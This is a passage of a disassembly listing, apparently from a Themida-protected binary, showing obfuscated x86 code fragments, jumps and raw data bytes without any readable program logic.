		dd 4C681h, 0CF680000h, 8900006Ah, 0E950242Ch, 0FFFFC794h
		dd 2434FF5Fh, 8368505Fh, 0E9000052h, 0FFFFE05Ah, 0EE81EE01h
		dd 34030BA2h, 0E9242C8Bh, 0FFFF78F9h
; ---------------------------------------------------------------------------


loc_5179A0:				; CODE XREF: Themida_:00512B76j
		add	esp, 4
		push	29AAh
		mov	[esp], ecx
		push	2201310Dh
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 37554269h
		add	ecx, 1
		add	ecx, 525AFAB0h
		sub	eax, ecx
		mov	ecx, [esp]
		push	0CA9h
		jmp	loc_50FC6E
; ---------------------------------------------------------------------------
		db 89h
		dd 5E542434h, 4C681h, 0C6830000h, 74FF5604h, 0E95E0424h
		dd 0B723h
; ---------------------------------------------------------------------------


loc_5179F0:				; CODE XREF: Themida_:00520293j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_520209
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E3895324h, 91E95452h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517A0B:				; CODE XREF: Themida_:005196E9j
		push	7F56h
		jmp	loc_5109B5
; ---------------------------------------------------------------------------


loc_517A15:				; CODE XREF: Themida_:005225A4j
		shl	ecx, 4
		neg	ecx
		shl	ecx, 7
		push	ebx
		mov	ebx, 543447FCh
		sub	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_51A054
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 635AE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_510114
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0FFD70FD4h, 403E9h, 532C6800h, 34890000h, 5812E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517A6A:				; CODE XREF: Themida_:0051291Bj
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	7C24h
		jmp	loc_51DECA
; ---------------------------------------------------------------------------
		dd 0F957E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517A86:				; CODE XREF: Themida_:00515175j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 34CF6862h
		sub	esi, 7BBA472Dh
		or	esi, 53BB267Fh
		xor	esi, 0FB151289h
		mov	edi, esi
		pop	esi
		jmp	loc_50F35B
; ---------------------------------------------------------------------------


loc_517ABF:				; CODE XREF: Themida_:0050E506j
		pop	eax
		push	ebp
		mov	ebp, 4
		add	esi, 19EF445Bh
		jmp	loc_51464D
; ---------------------------------------------------------------------------


loc_517AD1:				; CODE XREF: Themida_:0051085Dj
		add	eax, 1E501C62h
		add	eax, edi
		sub	eax, 1E501C62h
		add	eax, 6A1B2244h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_51D443
; ---------------------------------------------------------------------------
aIchi1		db 'h1',0
		dd 24348900h, 5D056852h, 148B6743h, 4C48324h, 0EA81D2F7h
		dd 122C78BBh, 8108E2C1h, 2012EC2h, 5AD689B4h, 5B4BCE81h
		dd 0C6817347h, 8890A495h, 7944E950h, 315A0000h,	0EA815FFAh
		dd 73396C3Ch, 0FFFAD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517B41:				; CODE XREF: Themida_:00517217j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_521E4F
; ---------------------------------------------------------------------------
		dw 9DB8h
		dd 25711162h, 29A90CF7h, 0FF6DF2E9h, 2434FFFFh,	4EC8158h
		dd 0E9000000h, 0FFFF878Bh
; ---------------------------------------------------------------------------


loc_517B70:				; CODE XREF: Themida_:0051C989j
		pop	edi
		jmp	loc_5145E7
; ---------------------------------------------------------------------------


loc_517B76:				; CODE XREF: Themida_:0051A0B0j
		pop	ecx
		jmp	loc_516547
; ---------------------------------------------------------------------------
		dd 0FF04C483h, 37E92434h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_517B87:				; CODE XREF: Themida_:00516086j
		and	eax, esi
		pop	esi
		jmp	loc_51FEC7
; ---------------------------------------------------------------------------
		db 0FFh
a4Sd		db '4$餹',0
		dw 8300h
		dd 0EB8004C4h, 25E9506Fh, 33000052h, 248B2414h,	89666424h
		dd 663EE902h, 0C483FFFFh, 8DF18104h, 81377562h,	6B63A3F1h
		dd 8804E934h, 433FFFFh,	24043124h, 8B240433h, 0EB812424h
		dd 2FCE4220h, 5BEAEB81h, 0C329380Fh, 5BEAC381h,	6857380Fh
		dd 24100D1Dh, 9488E9h, 8BDD0100h, 8957241Ch, 5F33E9E7h
		dd 19BA0000h, 293E8658h, 0D9F75AD1h, 0B2A3E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517C0E:				; CODE XREF: Themida_:00517FEFj
		shl	eax, 1
		not	eax
		inc	eax
		jmp	loc_51B104
; ---------------------------------------------------------------------------


loc_517C18:				; CODE XREF: Themida_:0051153Ej
		pop	eax
		jmp	loc_51723D
; ---------------------------------------------------------------------------


loc_517C1E:				; CODE XREF: Themida_:0051F2F6j
		sub	ecx, esi
		sub	ecx, 13956F78h
		sub	ecx, 0D3F16E3h
		pop	esi
		jmp	loc_523076
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 1BE56h, 0F1010000h, 0D01CE95Eh, 0DCF6FFFFh, 0C058E588h
		dd 0F9E903EDh, 8000042h, 24048BC3h, 8004C483h, 0D830D9F3h
		dd 6BE9535Bh, 5AFFFFE7h, 1A2968h, 243C8900h, 42474FFh
		dd 5F2434FFh, 8904EC83h, 5B54241Ch, 4C381h, 0EB830000h
		dd 0F6B2E904h, 0E95EFFFFh, 5472h
; ---------------------------------------------------------------------------


loc_517C90:				; CODE XREF: Themida_:005184B4j
		add	ebp, 38B30F2Fh
		pop	edx
		push	ebp
		jmp	loc_50E50B
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C6h
		dd 0FFFFFFFFh, 0BF3EE81h, 0EC81C948h, 4, 89243489h, 4C681E6h
		dd 0E9000000h, 3A00h
; ---------------------------------------------------------------------------


loc_517CC0:				; CODE XREF: Themida_:0051058Cj
		push	16CA469Eh
		jmp	loc_51EF3C
; ---------------------------------------------------------------------------
		dw 73B9h
		dd 0F7639567h, 0BCF181D1h, 1BCC2A8h, 835959CAh,	148704EAh
		dd 24248B24h, 68241489h, 23E5h,	5968E9h, 89CE8900h, 0C8B5EF7h
		dd 4C48124h, 81000000h,	173D0BE9h, 82F1E964h, 4BEFFFFh
		dd 1000000h, 5378E9F2h,	8B660000h, 0EC81240Ch, 4, 83241489h
		dd 248904ECh, 8C63E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517D2E:				; CODE XREF: Themida_:0051671Dj
		push	4246h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		mov	edi, 2A24BE0h
		push	ebp
		push	638C6E08h
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 1
		jmp	loc_51A7A4
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 57D64236h, 7BE9F229h, 89FFFF90h, 0B6E92414h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517D6F:				; CODE XREF: Themida_:005131F2j
		sub	edi, 1FA77B56h
		shl	edi, 3
		neg	edi
		jmp	loc_517501
; ---------------------------------------------------------------------------
		db 53h
		dd 0F62524BBh, 44E94B36h, 0B7FFFF90h, 59CF0093h, 1C8BF830h
		dd 4C48324h, 4EC81h, 0C890000h,	4EC8324h, 0E9240489h, 4D87h
		dd 80DEEA80h, 0D500EDC5h, 0E9EDED80h, 0B9C2h
; ---------------------------------------------------------------------------


loc_517DBC:				; CODE XREF: Themida_:005137A2j
		mov	ebx, 30624812h
		jmp	loc_51C882
; ---------------------------------------------------------------------------


loc_517DC6:				; CODE XREF: Themida_:00522B23j
		inc	edi
		shr	edi, 2
		not	edi
		shl	edi, 8
		sub	edi, 0C5F8A439h
		jmp	loc_51971D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 64DF685Ah, 0BEE90000h, 81000060h,	150CFBF2h, 0F2AFE974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517DF6:				; CODE XREF: Themida_:00516765j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_50EE68
; ---------------------------------------------------------------------------


loc_517E0E:				; CODE XREF: Themida_:0051F3ABj
		mov	[esp], esi
		jmp	loc_51585B
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E589242Ch, 4B850h, 0C5010000h, 0E924048Bh, 6C2Eh
; ---------------------------------------------------------------------------


loc_517E2C:				; CODE XREF: Themida_:0051B82Ej
		push	esi
		push	54D77DA9h
		jmp	loc_51B822
; ---------------------------------------------------------------------------
		db 81h
		dd 0D304246Ch, 167C64Ch, 81042474h, 0D3042444h,	5E67C64Ch
		dd 4C18159h, 52000000h,	104FE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517E5A:				; CODE XREF: Themida_:00522917j
		pop	ebp
		jmp	loc_51DFAD
; ---------------------------------------------------------------------------
		dd 685AD601h, 5E75h, 0BF243C89h, 2, 6C9BBA52h, 8DE951DBh
		dd 5FFFFFF7h, 0C381FB01h, 11522E9Ah, 4EC815Fh, 89000000h
		dd 2682434h, 5E000000h,	0FFE79CE9h, 4BE95BFFh, 8300006Ah
		dd 6EE902C4h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_517EA7:				; CODE XREF: Themida_:005199D3j
		shl	ecx, 8
		inc	ecx
		jmp	loc_516072
; ---------------------------------------------------------------------------
		dd 0DA6CE952h, 48BFFFFh, 6891E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517EBE:				; CODE XREF: Themida_:00518D1Dj
		add	ebp, 2D2E20EEh
		add	ebp, 0EE42689h
		sub	ebp, eax
		sub	ebp, 0EE42689h
		jmp	loc_514F76
; ---------------------------------------------------------------------------


loc_517ED7:				; CODE XREF: Themida_:0051009Dj
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_514F89
; ---------------------------------------------------------------------------
		dd 3C0BF57h, 0EF8116FEh, 1A57660Eh, 4869EF81h, 0E7C16BEBh
		dd 31E78106h, 8172E57Ah, 0C551FFEFh, 74A8E922h,	0EB81FFFFh
		dd 0D0C38B2h, 6FB2EB81h, 5FE93F38h, 0FF000095h,	2C8B2434h
		dd 0A9FAE924h, 0EF830000h, 76F36804h, 3C890000h, 2474FF24h
		dd 0AA8CE904h, 2068FFFFh, 89000048h, 4BE2434h, 0E9000000h
		dd 0FFFF9CC8h, 4C2815Ch, 50000000h, 0FF9B15E9h,	4C281FFh
		dd 0E9000000h, 0FFFF866Eh, 592434FFh, 815E5456h, 4C6h
		dd 2ED66800h, 0F6E90000h, 81FFFF95h, 4C4h, 91EEE900h, 0E95BFFFFh
		dd 8D2Ah, 2B60F66h, 0E6895652h,	4C681h,	0EE830000h, 24348704h
		dd 4EC815Ch, 89000000h,	0BF572424h, 4, 4247C01h, 24048F5Fh
		dd 4BD55h, 6C010000h, 8B5D0424h, 89532414h, 4C381E3h, 0E9000000h
		dd 0FFFFCB0Fh, 0F780EFD0h, 75E0E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517FE2:				; CODE XREF: Themida_:0050F8B7j
		push	409Fh
		mov	[esp], eax
		mov	eax, 24FF150Ch
		jmp	loc_517C0E
; ---------------------------------------------------------------------------


loc_517FF4:				; CODE XREF: Themida_:0050FC09j
		xor	ebx, 660C0EDFh
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ebp, esi
		pop	esi
		jmp	loc_51A116
; ---------------------------------------------------------------------------
		dw 0B68h
		dd 0E900002Dh, 0FFFF6391h
; ---------------------------------------------------------------------------


loc_518014:				; CODE XREF: Themida_:005239D5j
		push	edi
		mov	edi, 4
		add	ecx, 14A5531Ch
		add	ecx, edi
		sub	ecx, 14A5531Ch
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_52074B
; ---------------------------------------------------------------------------


loc_51803F:				; CODE XREF: Themida_:00514F84j
		mov	[esp], ebx
		push	0
		pop	ebx
		add	ebx, eax
		jmp	loc_51659D
; ---------------------------------------------------------------------------


loc_51804F:				; CODE XREF: Themida_:0050F840j
		add	edx, 18FD2922h
		not	edx
		jmp	loc_511384
; ---------------------------------------------------------------------------
		dd 5558C621h, 1F4E21BDh, 5DEE0109h, 72E5E9h, 6EB42D00h
		dd 0F8295AB9h, 83DBE9h,	4C58100h, 81000000h, 4C5h, 0D458E900h
		dd 0FF05FFFFh, 0E93AB3B1h, 0FFFFF1D3h, 3E0C140h, 9E5AE9h
		dd 4C48300h, 8359E9h, 0E954B700h, 0FFFFF7A6h, 1C8BF828h
		dd 4C48324h, 5B2434FFh,	4C481h,	0E5680000h, 8900000Fh
		dd 0D9E92404h, 5E000078h, 0E92434FFh, 1665h
; ---------------------------------------------------------------------------


loc_5180D4:				; CODE XREF: Themida_:0051DB73j
		mov	edx, [esp]
		jmp	loc_51EDA3
; ---------------------------------------------------------------------------
		dd 1031EE81h, 0CE0148B5h, 1031C681h, 595948B5h,	8904EC83h
		dd 4BA2414h, 81000000h,	783ECDC6h, 81D6011Ah, 783ECDEEh
		dd 2434FF1Ah, 2E9EE9h, 81CF0100h, 1E0FAFEFh, 0B1ADE96Eh
		dd 4058FFFFh, 2622282Dh, 58C1892Ah, 34FFCA01h, 1EB3E924h
		dd 0C8B0000h, 4EC8324h,	89241489h, 4EC81E2h, 0E9000000h
		dd 7CC7h
; ---------------------------------------------------------------------------


loc_518144:				; CODE XREF: Themida_:0051BE4Cj
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_51E5EB
; ---------------------------------------------------------------------------


loc_51816A:				; CODE XREF: Themida_:005167D3j
		add	esp, 4
		push	eax
		mov	ecx, [esp]
		jmp	loc_516425
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 5Eh
		dd 5FBE9h, 4C58100h, 87000000h,	815C242Ch, 4E3BA2C5h, 1C58157h
		dd 0F7000000h, 9267E9D5h, 1C89FFFFh, 5AD26824h,	8F540000h
		dd 4832404h, 685B0424h,	6A34h, 7239E9h,	241C8B00h, 4C481h
		dd 0D2F70000h, 0E2C1DAF7h, 3EB95104h, 0E9101E00h, 4089h
		dd 4244401h, 173B6851h,	29591DA9h, 8B08244Ch, 8952240Ch
		dd 4C281E2h, 81000000h,	4C2h, 24143300h, 33241431h, 8B5C2414h
		dd 0C4832404h, 242C8104h, 7CC26CC7h, 59D9E9h, 5FFD8900h
		dd 535DEB01h, 42474FFh,	0DDC9E95Bh, 0DD01FFFFh,	0FFA197E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518229:				; CODE XREF: Themida_:0052063Dj
		pop	esi
		add	ecx, edx
		add	ecx, 6A4D5861h
		pop	edx
		sub	ecx, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ecx
		push	52B337C0h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_511850
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF9C64E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518271:				; CODE XREF: Themida_:00512C53j
		shl	ebx, 4
		xor	ebx, 4BAAB674h
		jmp	loc_51601C
; ---------------------------------------------------------------------------
		db 53h
		dd 183CC6BBh, 0BCC38151h, 0E9C01B35h, 286Dh, 0C281E289h
		dd 4, 3D86E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51829E:				; CODE XREF: Themida_:00519891j
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 18671FAFh
		jmp	loc_5148DF
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 8B24048Fh, 0CD32424h, 29E99C24h, 0C1FFFF5Fh
		dd 0DEF705E6h, 0FF939FE9h, 24048FFFh, 4240481h,	8B000000h
		dd 0EC832404h, 240C8904h, 0C181E189h, 4, 0FFBD51E9h, 0C8966FFh
		dd 0B60F6624h, 9C5166C8h, 0FF5EEFE9h, 24048BFFh, 514E9h
		dd 243C3300h, 33243C31h, 0E6E9243Ch
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518317:				; CODE XREF: Themida_:00519E41j
		xor	eax, esi
		not	esi
		jmp	loc_51FF6A
; ---------------------------------------------------------------------------


loc_518320:				; CODE XREF: Themida_:0051FEEAj
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		push	ebp
		mov	ebp, 7B4E0FAAh
		push	0
		jmp	loc_51CD0C
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 4EC8104h, 89000000h,	0ACB62414h, 0FFEB76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518351:				; CODE XREF: Themida_:00515B49j
		add	edx, 4
		jmp	loc_51BD9D
; ---------------------------------------------------------------------------
		dd 82F28158h, 814C131Ah, 0DB47DAF2h, 6CE94A78h,	81000064h
		dd 4C1h, 4C18300h, 5C240C87h, 0E904EAC1h, 0FFFFF45Eh, 0FF241C89h
		dd 8B042474h, 0C481241Ch, 4, 5C24048Fh,	24148966h, 0FFC9B0E9h
		dd 4C481FFh, 88000000h,	34FF2877h, 2434FF24h, 0F0C685Ah
		dd 7BE90000h, 0FFFFFF70h, 535A2434h, 0C381E389h, 4, 8704C383h
		dd 815C241Ch, 0E816DBEFh, 9DBB5355h, 122332Dh, 241C8BDFh
		dd 4C481h, 0CF010000h, 4EC81h, 0C890000h, 207BB924h, 68532ED9h
		dd 2B341CB7h, 0FFD9095Bh, 1C8B2434h, 4C48324h, 4C481h
		dd 0BE560000h, 45909BAh, 0FFECE81h, 0E68162D2h,	56D50E5Dh
		dd 3FCAE681h, 0B7E908C9h, 0C1FFFFDBh, 22E906E9h, 56FFFFB9h
		dd 3B7AE9h, 57E08900h, 0FF762AE9h, 243C87FFh, 2434FF5Ch
		dd 582434FFh, 0E904C483h, 0FFFF796Fh, 0BF57EE01h, 60351E5Bh
		dd 1AF4EF81h, 0D3E90B0Dh, 0C10000A7h, 0DAF704E2h, 25F28142h
		dd 68DF9317h, 3A12h, 0BB241C89h, 67086B39h, 15BD929h, 9A02E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51848A:				; CODE XREF: Themida_:00510C76j
		pop	esp
		jmp	loc_520050
; ---------------------------------------------------------------------------
		dd 0E904C383h, 0FFFFF20Ch, 4EC81h, 14890000h, 23A2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5184A6:				; CODE XREF: Themida_:00520880j
		push	edx
		mov	edx, 38995B64h
		sub	ebp, 38B30F2Fh
		sub	ebp, edx
		jmp	loc_517C90
; ---------------------------------------------------------------------------
		db 0BEh, 8Eh, 20h
		dd 0FE3124B7h, 0E9243C8Bh, 323Eh
; ---------------------------------------------------------------------------


loc_5184C8:				; CODE XREF: Themida_:00511EC4j
		push	ebp
		mov	ebp, 0BD0C75B6h
		sub	esi, 6252AB0h
		add	esi, ebp
		jmp	loc_51F893
; ---------------------------------------------------------------------------
		db 64h
		dd 0A5E9028Fh, 0FFFFFFA5h, 669D1C77h, 241CD259h, 5CFEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5184F2:				; CODE XREF: Themida_:00512466j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_511947
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FF5CE7E9h, 240C87FFh, 2404895Ch, 0FF5CDBE9h, 815954FFh
		dd 4ECh, 68CEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518522:				; CODE XREF: Themida_:0051334Cj
		inc	ebx
		jmp	loc_510196
; ---------------------------------------------------------------------------
		dd 321D68h, 24048900h, 0A550A7B8h, 25D8F732h, 58EF0E10h
		dd 92EFE955h, 0E581FFFFh, 76181249h, 0B850D5F7h, 50A31409h
		dd 0E9E8D148h, 0FFFFFB32h, 5C68C781h, 0EF813BEBh, 12047ACFh
		dd 0BE56DFF7h, 0D97BFDEAh, 51ABE9h, 67E95400h, 5B000013h
		dd 31243433h, 34332434h, 0F6E95C24h, 8000042h, 0F4805BFCh
		dd 87CC8008h, 28D0EC80h, 0EB0058E3h, 0FFD51EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51859D:				; CODE XREF: Themida_:0051FFA4j
		mov	[esp], edi
		push	ebp
		mov	ebp, 17646A9Fh
		mov	edi, ebp
		pop	ebp
		dec	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0E8A39562h
		sub	edi, 6AEF2356h
		jmp	loc_5162EC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 19BC381h, 81430E7Fh,	2B6D7EEBh, 5AC3812Ch, 57EF284Fh
		dd 0FD89DF89h, 91DE9h, 4EFC100h, 0CA90F781h, 0FB316582h
		dd 3EBC15Fh, 366CE9h, 0B9515900h, 0E6F43F13h, 0C0E9C801h
		dd 6600006Dh, 83240C8Bh, 0B9E904ECh, 80FFFFAAh,	0E95210C5h
		dd 0FFFF7C80h, 24048B66h, 0E9E28952h, 0FFFFEB81h, 370EBF57h
		dd 0EF8159CFh, 0E7AF099Fh, 0E95FF929h, 830Dh
; ---------------------------------------------------------------------------


loc_518638:				; CODE XREF: Themida_:0051972Ej
		shl	ecx, 3
		xor	ecx, 7E263AA9h
		shr	ecx, 2
		add	ecx, 0B23D0D9h
		jmp	loc_51018C
; ---------------------------------------------------------------------------
		db 0B7h
		dd 59CF00DDh, 68h, 243C2800h, 83243C8Ah
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2
		sub	ebp, 68B5424Fh
		sub	ebp, 0AF0714Ch
		sub	ebp, edi
		add	ebp, 0AF0714Ch
		add	ebp, 68B5424Fh
		jmp	loc_511C8B
; ---------------------------------------------------------------------------
		dd 254DBA52h, 0EAD14E4Fh, 73DAF281h, 0EA810D50h, 6CD60C93h
		dd 91CEF281h, 94E9ADC8h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5186AF:				; CODE XREF: Themida_:00522FD1j
		mov	eax, [esp]
		jmp	loc_5220EE
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0A2BDh, 5A30AEBDh, 5DE82900h, 4527ED81h
		dd 0C5011069h, 0FFFFBBE9h, 24248BFFh, 0AF7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5186DD:				; CODE XREF: Themida_:005125B3j
		mov	ecx, edx
		pop	edx
		pop	eax
		jmp	loc_520290
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 74BAE904h, 315BFFFFh, 0B6EEE9F1h, 0F5E9FFFFh
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5186FB:				; CODE XREF: Themida_:00519A8Bj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	55E0h
		mov	[esp], edx
		push	ebp
		push	eax
		push	58CF383Ch
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	eax, 35D554Ch
		push	ebx
		mov	ebx, 3F7E7343h
		shl	ebx, 5
		dec	ebx
		add	ebx, 77795ECDh
		jmp	loc_51F002
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 5AA6E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51874A:				; CODE XREF: Themida_:00511035j
		push	2C16h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_520758
; ---------------------------------------------------------------------------


loc_518762:				; CODE XREF: Themida_:0051D7E8j
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 73E8734Eh
		inc	ebx
		jmp	loc_51149A
; ---------------------------------------------------------------------------
		dd 0D36F302Dh, 5D80122h, 22D36F30h, 135BE9h, 3BB000h, 5D85E9C6h
		dd 0CF810000h, 0AE74927h, 1C6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5187A1:				; CODE XREF: Themida_:0051416Ej
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		dw 7C01h
		dd 3C8B0424h, 4C48324h
		db 50h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_51DF64
; ---------------------------------------------------------------------------


loc_5187C8:				; CODE XREF: Themida_:0051C754j
		push	0
		sub	[esp], eax
		pop	eax
		shr	eax, 8
		or	eax, 494D3956h
		inc	eax
		push	eax
		push	edi
		pop	eax
		pop	edi
		xchg	ebx, edi
		jmp	loc_515B0D
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C1h
		dd 6A9F5CE4h, 0FFB3EAE9h, 8BEA89FFh, 0C483242Ch, 0E2C14A04h
		dd 0D9B95104h, 811A5355h, 0EB6E19C9h, 1C18328h,	0FF90C9E9h
		dd 3EC781FFh, 5D44AC53h, 5CA5E9h, 4C48100h, 80000000h
		dd 0C780F3C7h, 80CF286Ch, 0EF806CEFh, 2434FFF3h, 0AE95659h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51883B:				; CODE XREF: Themida_:00511C59j
		pop	edx
		or	edi, 3C0E10BDh
		jmp	loc_5155C9
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 6992E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_518852:				; CODE XREF: Themida_:00515BDEj
		push	ecx
		mov	ecx, 5D923A61h
		and	ecx, 325D30D1h
		jmp	loc_50F489
; ---------------------------------------------------------------------------


loc_518863:				; CODE XREF: Themida_:00519B10j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51315E
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 1F377D23h, 0D0C7ED81h, 0A2E90771h, 81000038h, 4EEh
		dd 24343300h, 33243431h, 895C2434h, 0A2E92414h,	0D0000076h
		dd 0F6C1FEE9h, 4DE980D9h, 0FFCEF4E9h, 0B9514FFFh, 3C96039Ah
		dd 38F4C181h, 0C1815C11h, 0B18558Eh, 8DE7F181h,	0CF29B6AEh
		dd 5FF80159h, 405h, 1D6DE900h, 0C5810000h, 8C622239h, 895DEE01h
		dd 5C9DE9F5h, 0B9BF0000h, 317D8B44h, 0BF575FFAh, 60C96689h
		dd 3C8BFA21h, 4C48124h,	0E9000000h, 6699h
; ---------------------------------------------------------------------------


loc_5188FC:				; CODE XREF: Themida_:0051171Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	7EB1h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_51F50E
; ---------------------------------------------------------------------------
		db 0B1h, 0Ah, 28h
		dd 2434FFCBh, 4C48359h,	0E9D3EB80h, 7CB8h, 6233E95Dh, 34870000h
		dd 52D68724h, 5A2414F7h, 9E68D687h, 89000041h, 74FF2434h
		dd 8F5E0424h, 148B2404h, 9512E924h, 522D0000h, 899DB787h
		dd 0E9E958C5h, 8900002Ch, 0E589242Ch, 4C581h, 0EC810000h
		dd 4, 6750E9h, 0B5F68100h, 2126064Ah, 0E1C15EF1h, 0E3E95306h
		dd 8B000079h, 0C4832434h, 0A8D4E904h, 0C4810000h, 4, 0FF80B5E9h
		dd 52E95EFFh, 81FFFFBEh, 4C6h, 6CE95700h, 100008Eh, 5234E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5189D2:				; CODE XREF: Themida_:005191ECj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5128A6
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 60C58002h, 0C8BEF30h, 4C48324h, 1C8BF800h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 0FF6094E9h, 4C083FFh,	5C240487h
		dd 3FE95455h, 8100002Dh, 0DD7F13E2h, 4AD2F71Bh,	0D076E950h
		dd 15EFFFFh, 0E2E95FFAh, 0BEFFFFBAh, 4,	4D4AC181h, 0F1014C78h
		dd 4D4AE981h, 78E94C78h, 8BFFFF6Fh, 89532434h, 4C381E3h
		dd 81000000h, 4C3h, 241C3300h, 33241C31h, 555C241Ch, 2A039DBDh
		dd 934BE907h, 0E0C00000h, 24C0FE06h, 88982C4Eh,	0DD8858C3h
		dd 0C5805B66h, 27C1E9C7h
		db 2 dup(0)
